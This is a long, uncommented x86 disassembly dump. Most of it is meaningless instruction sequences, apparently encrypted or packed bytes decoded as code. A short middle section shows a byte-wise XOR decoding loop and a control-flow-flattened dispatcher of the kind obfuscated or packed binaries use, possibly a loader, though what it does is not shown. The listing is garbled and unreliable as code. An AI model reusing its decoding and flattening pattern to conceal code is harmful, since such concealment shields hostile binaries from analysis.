sbb byte [esi], ah
cmp byte [edx], dl
invalid
sbb byte [ebp + 0x12382618], 0xc7
mov dword [edi + 0xd], ecx
mov edx, 0x702d5c64
test dword [ebx + edi*4], esp
in eax, dx
push es
fdiv qword [esi]
js 0x6da6bfd0
and bh, byte [esi + 0x50]
xchg ebx, eax
cmp esp, esi
push cs
out dx, al
call 0xdf7350ed
mov ebx, 0x5d433042
dec eax
mov dl, 0xc7
invalid
arpl word [esi], si
inc esi
rcl dword [esi], 0xd2
aad 0x27
sub al, 0xb
adc dword [edx + 0x2f], esp
sbb byte [edx + 0x73], bl
jne 0x6da6d675
cmp ah, byte [esi]
sbb dh, ah
push es
jge 0x6da6d6be
xor dl, byte [edi]
outsd dx, dword [esi]
xor ebx, esp
aam 0xe6
add al, 0xa7
cmpsd dword [esi], dword es:[edi]
sahf
xlatb
mov al, 0x91
pop edx
fcom dword [esi + ebx - 0x4c]
arpl si, si
dec edx
push esi
push eax
cmp byte [0xc594e450], dh
test byte [edi - 0x11], ch
outsd dx, dword [esi]
push ebp
and edx, dword [edx - 0x5cb5def0]
add esi, dword [ecx]
or al, byte [esi + 0x24a16ced]
sub al, 0x19
cmp cl, byte [ecx - 0x3eebc62a]
sub edi, dword [edx - 0x4a]
imul ecx, dword [eax - 0x82ff888], 0x2387f57
and byte [esi - 0x60340d57], 0x88
fisubr dword [ebx]
mov edi, 0xec0f2f9f
stc
das
paddsb mm7, mm1
push 0xffffffffffffffbc
les ecx, [ebx + ebp*4 - 0x336f8271]
jmp 0x6da836d8
dec esp
popfd
js 0x6da6d653
and al, 0x87
outsd dx, dword [esi]
cwde
jb 0x6da6d6bd
cmp bh, byte [ecx]
cmp bl, byte [ebp + 0x1cf1b895]
invalid
aam 0x6b
cmp esp, 0x7d
retf
sub al, 0x20
jmp 0xd1b0d26e
mov eax, 0x28a67916
xchg byte [edi - 0x16], ch
std
mov ecx, 0xb4cad019
outsd dx, dword [esi]
salc
out 0x98, eax
mov dl, 0xd2
fmul st(0)
stosb byte es:[edi], al
movsb byte es:[edi], byte [esi]
imul ecx, dword [esi + edi*2], 0x9bcc902b
popfd
mov ch, 0xb
xlatb
js 0x6da7052d
in al, 0xde
xor ecx, dword [edx + edi*2 + 0x65]
xor al, 0xcf
add byte [0x37dc3f01], ch
add dword [edi], edi
fdiv qword [edi]
fcompi st(7)
loope 0x6da704cb
dec ecx
fisub dword [edi]
push ecx
invalid
sbb dword [eax], esp
inc esp
wait
fild dword [edx]
pop edi
mov edi, dword [eax + 0x5b7d7f3b]
jmp 0x6da704bc
xor byte [edx + 5], cl
adc eax, 0xd4086cf4
cmc
jl 0x6da704fc
cld
pop edi
outsb dx, byte [esi]
outsb dx, byte [esi]
inc esi
jge 0x6da705e5
sub byte [ebx], cl
clc
cmpsd dword [esi], dword es:[edi]
invalid
push 0xffffffffffffffea
push esi
nop
int3
xchg edx, eax
sar cx, 1
jb 0x6da70607
pop edx
scasb al, byte es:[edi]
xor byte [edi + 0x5c], 0x54
in eax, 0x92
sbb dword [eax - 0x1a9480d7], ecx
loope 0x6da70557
jns 0x6da7060d
sbb dl, dh
popfd
mov eax, dword [0x36419646]
popal
mov eax, 0xb003a064
jl 0x6da7065a
push edi
sal byte [ecx], cl
lcall 0xc064, 0x7072da4e
mov ebx, 0x931b3c47
push edx
mov cl, 0x9b
test dl, dh
jl 0x6da70602
lahf
cmpsb byte [esi], byte es:[edi]
js 0x6da705b5
stc
adc bh, byte [ebx - 0x3e7c2930]
test ebx, edx
add ecx, dword [edx - 0x5c1018c6]
adc cl, byte [ebp - 0x39675900]
lcall 0x69f4, 0x5b0c5a77
cmp al, 0x3d
inc ebp
test dword [0xfe17a981], ebx
daa
mov edx, 0x969bf3c0
mov ecx, 0xf8d2ee9d
insd dword es:[edi], dx
rol dword [ebp - 0x1e], 1
imul ecx, esi, 0xf45a1a08
mov bl, 0xb0
nop
pop ss
movsd dword es:[edi], dword [esi]
cmp esi, dword [ebx]
in al, 0x37
and dh, byte [eax]
add dword [edi + edx*8 - 9], 0x1d0910da
invalid
rol dword [ebp + 0x3a8a03d3], 0xe7
out dx, eax
out 0xef, eax
mov dword [0xa7008d12], eax
cwde
invalid
and al, 0x10
arpl sp, cx
xor dword [edi + ebx*8], edi
fdiv dword [ebx]
sbb dword [eax + 0x47], ebp
push ebx
or bh, byte [edx + edx*8]
inc edi
inc esi
inc edx
sub dword [esi + 0x5f76cb1d], 0xffffffeb
xchg ecx, eax
mov cl, 6
jp 0x6da706d4
mov al, byte [0x4cae3d5e]
add eax, 0xb9fb7670
mov eax, 0xa9046328
push esp
jge 0x6da7066c
nop
int3
sbb eax, 0xc2805b0
mov byte [ecx + 0x50], bh
or eax, 0xcc5a724e
cwde
fucomp st(2)
imul esp, dword [edi], 0xffffff8c
fsub st(1)
out 0xd4, eax
sar byte [esi + esi - 0x61896c60], 0x34
shl byte [ecx - 0x1afce428], cl
cmc
inc esi
mov ebp, 0x93b7c1eb
fisub dword [edx + 0x7a]
mov dh, 0x49
and byte [edx - 0x2d], al
fcmovnb st(0), st(4)
out 0xf1, al
in eax, 0x6d
in al, 0xcb
and bh, al
adc eax, 0x76c0c1c4
scasd eax, dword es:[edi]
test dword [esi + esi], 0x43f8a239
adc al, 0x38
mov bh, 0x92
jne 0x6da7072e
mov ebp, 0x57ee7656
sbb byte [ecx + ebp], bl
push 0x4a7c3ac1
sal dword [edx + 5], cl
sub eax, dword [ebp + 0x138d28fd]
nop
cmp dword [ebp*2 - 0x6d31d7cf], eax
cmp eax, 0x2b388723
aam 0x99
mov byte [0x3f084ccf], al
fild word [ebp + 6]
mov ebp, 0xd437e668
jmp 0x6da7075c
int3
retf
neg byte [edi + esi*4 - 0x49]
pushal
and byte [ecx + 0x70], 0x25
int3
lcall 0x2be7, 0x1f2bdbd9
mov esp, 0x238dcc72
push ecx
cmp byte [eax + ebx*8 + 0x21], dl
and dl, byte [esp]
push edi
aad 0x2d
adc byte [0x90134962], al
int3
push 0xc6b42cb2
inc edx
push esp
or dword [ecx + 0x44], 0xfffffff4
jp 0x6da74c56
scasd eax, dword es:[edi]
mov bl, 0x9d
mov ebx, 0x74feabb3
insd dword es:[edi], dx
lodsb al, byte [esi]
ja 0x6da74c04
or al, byte [edx + 0x7b]
invalid
dec ecx
add ch, byte [eax + 0x55795ffc]
pop edi
jns 0x6da74cae
fnstsw word [edi - 0x14]
call 0x4eba311c
nop
bound esi, qword [ebp + 0x6c07c9fa]
nop
loop 0x6da74c19
inc ebx
movsd dword es:[edi], dword [esi]
and eax, 0x72b053e4
jmp 0x6da74cf3
jg 0x6da74c52
aaa
mov byte [0x7944fcef], al
rol dword [ecx - 0x23], cl
mov esp, 0x4a58a53c
add ch, dh
fstp xword [ecx]
xchg dword [edx - 0x132ca6ea], esi
clc
xchg ecx, eax
daa
mov byte [0xbf265f37], al
xchg edx, eax
jl 0x6da74cf9
or al, 0xab
xor al, cl
adc bl, 0xaf
jmp 0x6da74c41
salc
loop 0x6da74c73
inc ebx
mov dl, 0xb9
xor esp, ebp
fpatan
pop ecx
sbb al, 0xb2
leave
xor byte [edi], bh
sbb dword [edi + 0x1d], esp
hlt
jge 0x6da74c85
int3
call 0xa8945336
xchg ebx, eax
cmpsd dword [esi], dword es:[edi]
clc
jp 0x6da74d55
cmp al, 0x51
push ebp
jg 0x6da74d28
not eax
dec esi
sub esi, ebx
pushfd
in eax, dx
arpl word [ecx - 0x1c], ax
xchg dword [edx + 8], eax
psubusw mm4, qword [edi - 0x492f6f1d]
enter 0x65, 0xffffffffffffffb0
test dword [edx + 0x45], ecx
fstpnce st(1), st(0)
inc edi
inc edi
sbb dword [edx + 0x4e422103], 0x6e
pop edx
adc dl, bh
lodsd eax, dword [esi]
lodsd eax, dword [esi]
adc byte [ebx + 2], bh
mov byte [0xb2cff7cd], al
add esi, dword [ecx - 0x2c]
test al, 0x38
mov esp, 0x184a34f
mov ecx, 0x9e682997
xchg edi, eax
sub dword [eax - 0x62], ebp
clc
adc byte [eax - 0xc], 0x4e
out 7, eax
adc dword [ebx + 0xd], 0xb6858e4c
or eax, 0xb6858e4c
cmp ecx, dword [esi]
push cs
loopne 0x6da74d48
dec edx
shl edx, cl
aad 0xb5
popfd
int1
cmpsd dword [esi], dword es:[edi]
cld
mov bh, 0xde
sbb byte [ecx - 0x44e3e538], dl
jge 0x6da74d5b
add dword [esi - 0x329eaadf], ebp
push es
stosb byte es:[edi], al
dec ebx
cmp edx, 0x7b
mov edi, 0x17decc88
les edi, [edi + 0x4c7c58ce]
mov bl, 0x93
int3
xchg edx, eax
sbb ch, bh
invalid
enter 0xfffffffffffff35c, 0x26
sahf
push 0x8236e72a
and ch, byte [0x7e099a96]
pushfd
dec ecx
inc edi
push ss
jg 0x6da7636d
mov bh, pe_nt_image_headers32
xchg edi, eax
and al, 0x9e
jns 0x6da763f4
cmp esp, edx
cmp dword [edi + 0x27], esi
pop ecx
in al, 0x5b
rcl byte [ebp + edi*4 - 0x1f754fc7], 0x93
das
inc esi
cmp al, 0x65
push 0x2c
fbld tbyte [ebx + 0x6be4d8b1]
xchg esp, eax
cmp dword [eax + 0x188f9a45], eax
mov ebp, 0xae97858c
cmp ebp, dword [ecx]
fdiv dword [ebp + 0x7ff1e1b9]
sbb al, 0xaa
push esi
ret
std
or al, dl
mov esp, 0x4733c00e
sub al, 0x98
mov ebx, ebx
nop
add byte [esi + 0x2611660b], cl
dec ebx
push ebp
sbb cl, byte [ebp + 0x71]
pop ss
inc ecx
and al, 0
mov esp, 0x9ed7142c
xor dword [edi + 0x69cfa186], esp
das
mov cl, 0x14
imul esi, edx, 0xfffffff6
daa
adc dword [ebx - 0x71dcbeb0], edi
mov dh, 0xb4
sbb al, 0x56
shl byte [esi - 0x5280ba0a], 0xa3
jg 0x6da76433
scasd eax, dword es:[edi]
ljmp 0x33db
inc eax
push esp
cwde
salc
cmpsb byte [esi], byte es:[edi]
cwde
neg dword [ebp - 0x33]
lds ebx, [edi]
xlatb
std
adc byte [edi + 0x45], dl
in al, dx
dec edx
mov dh, 0xd9
pop ebp
int 0x41
fstp dword [ebp - 0x33]
inc ecx
cld
shl bh, cl
lcall 0x5af6, 0x49b15cb6
hlt
ror dword [esi], cl
insd dword es:[edi], dx
lcall 0x7d29, 0xd75042fd
or ecx, edx
push ss
push eax
xlatb
sub dword [ebp + 9], edi
rcl dword [esi]
jecxz 0x6da77ac3
adc eax, 0x55440dd3
loopne 0x6da77b5a
mov bl, 0x4a
mov bh, 0xc
clc
and eax, 0x3f9f6098
inc esp
inc ecx
push ebx
jno 0x6da77ad6
pop ebx
inc esi
sahf
sahf
jle 0x6da77b32
in al, 0x3f
dec ebp
push esp
jb 0x6da77b5d
lds esi, [eax - 0x1d67f22d]
or dword [esi], esp
cmpsd dword [esi], dword es:[edi]
mov eax, dword cs:[0x162899b]
test eax, 0xf72abb95
sub dh, bh
inc ebx
pop ss
fst st(4)
bnd jb 0x6da77b6c
and dword [edx], eax
cld
jp 0x6da77b1d
mov ecx, 0x315e9dd2
push ebp
imul esp, dword ss:[ebx + 6], 0xfffffff9
xor dword [ebp + 0x36], edx
imul esp, dword [ebx + 6], 0xfffffff9
mov edi, 0x93dfc35f
sbb byte [ecx - 0x1abe4878], bh
inc ebx
or bl, byte [esi - 0x47]
xchg ebx, eax
popal
jecxz 0x6da77be4
invalid
nop
int3
invalid
inc eax
popal
mov es, word [0x5df40f11]
in eax, 0x3a
xchg edx, eax
invalid
adc dword [edi], ecx
hlt
cmp dl, byte [edx - 0x336f38c2]
jmp 0x6da836d8
dec ecx
movsb byte es:[edi], byte [esi]
add byte [eax], al
xor edi, dword [ecx]
jmp 0x6da792d1
dec esp
imul ecx, dword [ebx - 0x3c917613], 0xffffffbf
pushal
xchg edi, eax
aaa
jne 0x6da79284
ret
in eax, 0x8f
xor dword [edx + edx - 4], esp
jb 0x6da792db
push ebx
dec edi
je 0x6da7928b
daa
add ah, al
jb 0x6da792bf
push 0xffffffffffffffa2
jecxz 0x6da7923e
jp 0x6da7927b
mov ebx, 0x5d1f2c99
cdq
sub al, 0x1f
pop ebp
je 0x6da79284
xor ch, byte [ecx + edi*2]
shr bl, cl
mov bl, 0xd2
jns 0x6da7929c
jmp 0x6da7927f
xchg edi, esi
push es
imul eax, dword [eax + 0x329a02a4], 0x18
iretd
and byte [edx + eax - 0x30e7cd66], 0x96
sub ebx, dword [ebx - 0x3b]
pop ebp
lodsb al, byte [esi]
lds ebx, [ebp - 0x54]
push eax
jno 0x6da792eb
inc ecx
inc ecx
hlt
and dl, byte [esp + edi*4 - 0x15]
aad 0xd3
push ds
clc
mov ebp, 0xc5afb391
pop eax
fst st(3)
leave
arpl word [edi - 0x21172860], si
insb byte es:[edi], dx
je 0x6da7937b
pop edi
xor byte [edx + ebp*2], 0x29
je 0x6da792cd
popal
cld
mov dword [0x9b329c4b], eax
or byte [ebp + 0xf], 0x6e
int1
movsd dword es:[edi], dword [esi]
jl 0x6da792a2
cwde
and byte [edi], dh
inc ecx
in al, 0xcd
les edx, es:[edx - 0x1f414bf]
int 0x10
sub byte [0x90ab632c], bl
pop edx
sal ebp, 0x67
inc ebx
push cs
cmpsd dword [esi], dword es:[edi]
pushal
fist dword [ebp - 0x34]
or ebx, dword [eax]
jecxz 0x6da792cf
push ecx
jle 0x6da793b1
pop edx
jne 0x6da792c8
or al, 0xb8
mov cl, byte [esi]
pop esi
out dx, al
insb byte es:[edi], dx
mov dword [edi + edx*4], esp
invalid
in eax, 0xd7
and dh, dl
push 0x38
shl byte [esi + 0x7fb15b47], 1
or eax, 0x32c2a78b
push edx
adc eax, edi
mov dl, 0xe7
push ebp
dec esp
stc
xchg edi, eax
fsub dword [edi + 0x5b]
mov edi, 0x524bd5c5
mov al, 0xe
invalid
or bl, byte [eax]
invalid
fld qword [edx + 0x2fbf11e1]
adc cl, byte [edi]
jmp 0x6da7aa7b
in eax, 0x55
into
dec ebx
invalid
add bh, ch
mov esi, 0xfa75432c
in eax, dx
cmc
sal dword [esi - 0x3a4adb7b], cl
fisub word [eax + 0x1f]
xor dword [ecx - 0x10], edx
add eax, 0x1c316516
leave
loope 0x6da7c1aa
invalid
xor cl, byte [eax]
invalid
invalid
int 0xab
invalid
inc ebp
out 0x27, eax
call 0xcc4499f2
jmp 0x6da7efb8
add dword [esi + 0x12ae486e], ebx
iretd
cli
pop ecx
loop 0x6da7f04a
adc edx, dword [esi + 0x7c]
cmp byte [esi], al
out dx, eax
test byte [0x12e00556], dh
cmpsb byte [esi], byte es:[edi]
inc eax
lodsb al, byte [esi]
mov ah, 0x2c
imul eax, dword [ebx + 0x2be92a14], 0xd4e3805e
and bl, 0xd4
popfd
pop di
jecxz 0x6da7f021
dec edi
outsb dx, byte [esi]
mov byte [0x2ef3e28c], al
and dword [ebp + 0x23], eax
push ecx
mov al, 0xee
jnp 0x6da7f08b
xchg dword [ebx + ebp - 0x2e52ccaa], eax
cmpsb byte [esi], byte es:[edi]
jb 0x6da7f0b6
fsub dword [esi]
int1
sbb al, 0x91
push ds
cli
lodsd eax, dword [esi]
adc dword [ecx + 0x72], edi
jns 0x6da7f12a
push edx
mov dl, 0x2e
das
add dword [esp + ecx*8], esp
arpl word [edx + 0x5c], di
push ebp
cmovs edx, dword [ecx - 0x63]
out dx, al
pop ss
sub ebx, dword [edi + 0xc33c75a]
cmovge ebx, dword [edx - 0x464a418]
and eax, dword [ebp - 0x3262452a]
movsd dword es:[edi], dword [esi]
xor al, 0x26
xor byte [eax + 0x20dd0deb], al
mov edx, 0x26ed93e1
xchg ebx, eax
in eax, dx
scasb al, byte es:[edi]
scasb al, byte es:[edi]
mov eax, 0x300d894c
jmp 0x6da7f0eb
jo 0x6da7f0e8
sub eax, 0x707d7476
in al, 0x7d
push ds
pushfd
cmp dword [eax + esi*4 - 0x40], esi
ficomp dword [ebx]
mov eax, 0x2c9fcc90
and eax, 0x681e52be
or al, bl
daa
pop ds
xor al, 0x9c
xor bl, byte [ebx + 0x73]
mov dword [esi - 0x7462a4c5], edx
jge 0x6da7f15c
push ebp
xor ecx, dword [ebx - 0x302027cb]
invalid
xor eax, 0xfecfdfd8
popal
mov dword [0xb6b900b6], eax
mov ah, 0x9d
das
invalid
dec edx
xchg ebp, eax
xor bh, byte [eax - 0x4ec92252]
jbe 0x6da807e7
scasd eax, dword es:[edi]
bound eax, qword [edi]
pop ds
push edx
invalid
loop 0x6da81e95
cwde
nop
int3
xlatb
jge 0x6da81ec7
popal
pop esp
adc ebp, dword [edi]
scasd eax, dword es:[edi]
sub bh, dl
cmp byte [eax + 0x4f], 0xb9
xor eax, 0x71f35248
stosb byte es:[edi], al
sbb al, 0x25
ja 0x6da81f0f
push cs
in eax, 0xec
jl 0x6da81e9c
xor al, 0xba
xchg edx, eax
movsb byte es:[edi], byte [esi]
jg 0x6da81efb
call 0x69d5ae8f
cmp dl, dl
ror dword [edi - 0x2dc503d3], 1
inc edi
xchg byte [edi], dl
lcall 0x3a4b, 0xed2146b7
in al, dx
in eax, dx
dec ebx
cmp ch, ah
xor dword [ebx + edx*4 - 0x23b9b931], eax
push 0x56
sbb cl, dh
int1
das
fadd st(6)
jbe 0x6da81f44
pushfd
mov byte [ebx - 0x2c], 0xd
insb byte es:[edi], dx
and ah, bh
mov bh, byte [eax + edi*2]
dec edi
inc esi
push es
sub byte [edi - 0x76], 0x63
pop edx
bnd jecxz 0x6da81eeb
inc eax
nop dword [esi - 0x66]
jg 0x6da81e86
mov bh, 0xc8
cwde
mov eax, dword [0xfa8b97db]
enter 0xffffffffffffa198, 0xffffffffffffffdb
xchg edi, eax
mov edi, edx
add ah, byte [edx - 0x6e]
push 0xf2a1d8f8
dec esi
sub byte [edx + 0x3e909d4e], dh
rsm
nop
rsm
loope 0x6da81eba
xchg ecx, eax
mov al, byte [0x2c6c6761]
arpl word [eax], dx
inc esp
mov al, byte [0x1ebe1cbc]
or bl, byte [edi + ebx - 0x69166bbf]
mov ch, 0x3c
retf
mov edi, 0xd8a658df
pop esi
test dword [ecx - 0x3b401a12], 0x508373f2
jae 0x6da81ed6
push eax
mov dword fs:[0xcc90b699], eax
jmp 0x6da836d8
sub ah, byte [0x5b79afb6]
inc eax
enter 0xfffffffffffffeca, 0x3e
cdq
mov edi, 0xed32aaa6
ja 0x6da81f51
jns 0x6da81f54
sub dword [eax - 0x64], esp
insd dword es:[edi], dx
outsb dx, byte [esi]
xchg esi, edi
setns byte [esp + edx]
imul edi, dword [eax - 0x2ec3237e], 0x8d488262
js 0x6da81fb0
dec eax
lea edi, [eax + 0x25]
jmp 0x46e2851b
sal dword [edi - 0x63], cl
mov ch, 0xe
and esi, dword [edi + 0x19]
out 0x2f, al
sbb esi, esp
das
sbb byte [ebx + 0x5c4d1b4a], dh
dec ebp
arpl cx, cx
adc eax, 0xf82064f
adc byte [ebp + 0x29dd3015], ah
inc ebx
xchg edx, eax
loope 0x6da81fc9
cmp al, 0xa3
jl 0x6da82003
dec edi
in eax, 0xc2
out 0x7a, eax
push ss
jle 0x6da81fa9
and esi, 0x7b
neg ah
or ebp, dword [esp + ecx*8 - 0x42]
sub eax, dword [ebx - 0x31c2b35b]
push ebp
in al, dx
xor eax, dword [ebp + 0x316f11f5]
invalid
jb 0x6da81f87
push esi
scasd eax, dword es:[edi]
jmp 0x8b0fcb81
nop
jmp 0x6da836d8
nop
mov eax, dword [ebp - 0xc]
movzx ecx, byte [eax]
mov eax, dword [ebp - 0x10]
cdq
idiv dword [ebp - 0x2c]
mov eax, edx
mov edx, eax
mov eax, dword [ebp + 0x10]
add eax, edx
movzx eax, byte [eax]
xor ecx, eax
mov edx, ecx
mov eax, dword [ebp - 0xc]
mov byte [eax], dl
mov dword [ebp - 0x80], 0xe5bf6
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x88], 0x902d0
mov dword [ebp - 0x84], 0
mov eax, dword [ebp - 0x80]
mov edx, dword [ebp - 0x7c]
sub eax, dword [ebp - 0x88]
sbb edx, dword [ebp - 0x84]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], edx
mov eax, dword [ebp - 0x90]
xor eax, 0xf092e
or eax, dword [ebp - 0x8c]
je 0x6da96b82
mov edx, 0xf092e
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6da9b1e7
mov eax, dword [ebp - 0x90]
xor eax, 0xe2e45
or eax, dword [ebp - 0x8c]
je 0x6da99a72
mov edx, 0xe2e45
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6da9b1e7
mov eax, dword [ebp - 0x90]
xor eax, 0xd502f
or eax, dword [ebp - 0x8c]
je 0x6da9251a
mov edx, 0xd502f
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6da9b1e7
mov eax, dword [ebp - 0x90]
xor eax, 0xabefa
or eax, dword [ebp - 0x8c]
je 0x6da9540a
mov edx, 0xabefa
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6da9b1e7
mov eax, dword [ebp - 0x90]
xor eax, 0xa462e
or eax, dword [ebp - 0x8c]
je 0x6da8f62a
mov edx, 0xa462e
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6da9b1e7
mov eax, dword [ebp - 0x90]
xor eax, 0x8dbac
or eax, dword [ebp - 0x8c]
je 0x6da880d2
mov edx, 0x8dbac
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6da9b1e7
mov eax, dword [ebp - 0x90]
xor eax, 0x7b7af
or eax, dword [ebp - 0x8c]
je 0x6da8afc2
mov edx, 0x7b7af
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6da9b1e7
mov eax, dword [ebp - 0x90]
xor eax, 0x794c2
or eax, dword [ebp - 0x8c]
je 0x6da93c92
mov edx, 0x794c2
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6da9b1e7
mov eax, dword [ebp - 0x90]
xor eax, 0x5f8c6
or eax, dword [ebp - 0x8c]
je 0x6da8c73a
mov edx, 0x5f8c6
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6da9b1e7
mov eax, dword [ebp - 0x90]
xor eax, 0x5e454
or eax, dword [ebp - 0x8c]
je 0x6da83a6a
mov edx, 0x5e454
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6da9b1e7
mov eax, dword [ebp - 0x90]
xor eax, 0x559b3
or eax, dword [ebp - 0x8c]
je 0x6da8deb2
mov edx, 0x559b3
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6da9b1e7
mov eax, dword [ebp - 0x90]
xor eax, 0x55926
or eax, dword [ebp - 0x8c]
je 0x6da9b1ea
mov edx, 0x55926
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6da9b1e7
mov eax, dword [ebp - 0x90]
xor eax, 0x3eb36
or eax, dword [ebp - 0x8c]
je 0x6da851e2
mov edx, 0x3eb36
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6da9b1e7
mov eax, dword [ebp - 0x90]
xor eax, 0x1feb4
or eax, dword [ebp - 0x8c]
je 0x6da8695a
mov edx, 0x1feb4
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6da9b1e7
jecxz 0x6da83a79
add dword [eax], eax
mov eax, dword [ebp - 0x90]
xor eax, 0x14a82
or eax, dword [ebp - 0x8c]
je 0x6da8984a
mov edx, 0x14a82
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6da9b1e7
mov eax, dword [ebp - 0x90]
xor eax, 0xad42
or eax, dword [ebp - 0x8c]
je 0x6da90da2
mov eax, dword [ebp - 0x90]
xor eax, 0xfa51
or eax, dword [ebp - 0x8c]
je 0x6da982fa
jmp 0x6da9b1e7
test byte [ecx - 0x1d96fc88], 0x5d
add dh, bh
inc edi
jge 0x6da83a00
sahf
push 0xffffffffffffff8f
aad 0xef
pop edx
adc byte [esi + 0x422d302e], bl
invalid
adc dword [ebx - 0x24e0fb44], 0x1466bb91
adc dword [edi], eax
or edx, ecx
pop ds
and dword [ecx], 0x3d
xchg edx, eax
invalid
and dword [ecx], esp
js 0x6da8695b
and dword [eax - 3], edi
wait
xor al, byte [0xddbcfdef]
xchg esi, eax
push 0x24703b86
outsb dx, byte [esi]
out 0x6f, al
push 0x556b7583
sbb al, 0x26
jl 0x6da8699f
invalid
mov dword [ecx - 0x4d2837b0], edi
enter 0xffffffffffffd878, 0xffffffffffffff99
xlatb
fsub dword [ecx + edi*4]
push ebx
mov word [ebx + 0x22737428], fs
add cl, byte [eax + 0x32]
xchg dword [edx - 0x21], ebp
test byte [ebx - 0x5c], al
je 0x6da86a14
and al, byte [edx]
dec eax
xor al, byte [edi + 0x4384df6a]
movsb byte es:[edi], byte [esi]
cmp byte [0x145c8fcf], dl
or byte [edx + edi*8], dh
pop esi
mov esp, 0x31a75c29
je 0x6da869d6
push ds
add eax, 0xfa6b9fcd
xchg ecx, eax
rol dword [edi + ebx - 0x7b1b93a0], 1
pop esp
lodsd eax, dword [esi]
outsb dx, byte [esi]
int1
wait
ret 0xfe38
invalid
cmp eax, 0x85803867
mov cl, 0x2b
test al, 0x6d
inc edx
mov dword [edi - 0x75], ecx
aad 0xaf
insd dword es:[edi], dx
jle 0x6da86a13
jnp 0x6da8698d
mov al, byte gs:[0xf686b166]
jge 0x6da86a74
arpl word [edx], bx
inc ebx
cmp dh, byte [eax + 0x228fe99b]
mov gs, esi
mov dl, 0xb2
pop ecx
aas
out dx, eax
push ds
jnp 0x6da869f5
fbstp tbyte [ebx + 0x63cc906f]
push cs
cmpsb byte [esi], byte es:[edi]
fmulp st(5)
insd dword es:[edi], dx
or esp, dword [ebp + esi*4 + 0x692a1ac2]
pushal
xor edx, dword [ecx - 0x1c22e815]
adc byte [esi + 0xa], al
adc ch, 0x61
inc edx
mov ch, 0xf
outsb dx, byte [esi]
xchg esi, eax
out dx, al
dec edi
invalid
mov esi, 0xa9666497
stc
invalid
stosb byte es:[edi], al
cwde
stc
into
sbb al, dl
imul ecx, dword [esi + 0x3e], 0x943c711c
sbb bh, byte [edi + 0x1b427244]
jecxz 0x6da880f7
cmpsb byte [esi], byte es:[edi]
dec esp
push 0x7d
mov byte [ebp - 0x237c0f9d], bh
mov dh, cl
mov ebx, 0x42036cc6
outsd dx, dword [esi]
add dword [ecx + 0x63], ecx
xor ah, byte [edx - 0x40ec07ee]
int3
adc edi, dword [edi + 0x2e3c44cc]
dec edi
jecxz 0x6da880e0
int1
nop
int3
pop ss
add eax, 0x5e18f92
out dx, al
dec ecx
or al, 0x24
cmp al, 0x46
insd dword es:[edi], dx
sub ah, byte [ebp + 0x4f4871e5]
movsd dword es:[edi], dword [esi]
in eax, 0x71
dec eax
dec edi
popal
mov dword [ecx], 0xace0bfbf
mov ebp, 0x2d0e1428
push ds
inc ecx
push ecx
adc dword [esi + 0x6c92882b], edi
sub dword [esi], 0x73c17f61
outsb dx, byte [esi]
sub ecx, dword [eax + 0x2e816c92]
popal
jg 0x6da880c1
jae 0x6da88170
lahf
insb byte es:[edi], dx
xlatb
loop 0x6da880e3
mov dl, 0x8c
jb 0x6da88092
xchg dword [edi + 0x3c], edx
pop esi
popal
inc esp
jb 0x6da8814d
into
mov byte [ecx + 0x74], dh
outsb dx, byte [esi]
loop 0x6da88179
not dh
pushfd
outsb dx, byte [esi]
popfd
hlt
inc ebx
add eax, 0xeb2515f8
mov esi, 0xfab35038
fsubr qword [esi]
popfd
cmpsd dword [esi], dword es:[edi]
cdq
mov ecx, 0xec138dc1
fsubp st(4)
jo 0x6da8816d
pop ss
inc ebx
aas
xchg ebx, eax
mov dl, 0x8e
fimul dword [edx + 0x13]
xor byte [ebp - 0x28], al
inc esp
push 0x365e4b23
scasb al, byte es:[edi]
lcall 0xa2cc, 0xceea296a
stosb byte es:[edi], al
mov byte [0xe6339f8a], al
xor esp, esi
lodsd eax, dword [esi]
int1
push esp
push edx
lcall 0xa71, 0xb2049935
add al, 0xb2
jno 0x6da88187
jb 0x6da88138
iretd
xchg ecx, eax
dec ecx
jp 0x6da881b7
cmp cl, dh
pop ds
add dword [ecx - 0x2e], edx
shr byte [ecx + edx*2], 1
cmp dword [edi], 8
add ecx, dword [ebx - 0x7dfdd12f]
hlt
cmpsd dword [esi], dword es:[edi]
mov ecx, 0x8e83b2d1
sbb ch, byte [ecx]
invalid
adc ebx, dword [edi + 0x38728a2f]
ret
cmp dword [esp + edx*2], ebp
mov dword [0xee88f550], eax
xchg ebx, eax
push ss
pop ss
sbb ah, byte [eax + 0x5e]
outsb dx, byte [esi]
mov bh, 0x13
test al, 7
sbb eax, 0x40e8098f
and byte [ebp + edi*8 + 0x7c], al
mov edi, 0x9016b23a
mov dl, 0x16
nop
int3
and bh, byte [edx + edx*2 + 0x7f10f44d]
xchg ebp, eax
dec ebx
push esp
and dword [ebp - 0x2784d9f6], edx
inc edx
jno 0x6da89841
shl dword [esi + esi*4], 0xe9
push eax
cld
push cs
lcall 0x269e, 0x48d5c67e
and edi, 0x87b62640
inc edx
cmp dl, 0xc9
in al, 0xed
jg 0x6da89801
mov bl, 0x6a
cmpsd dword [esi], dword es:[edi]
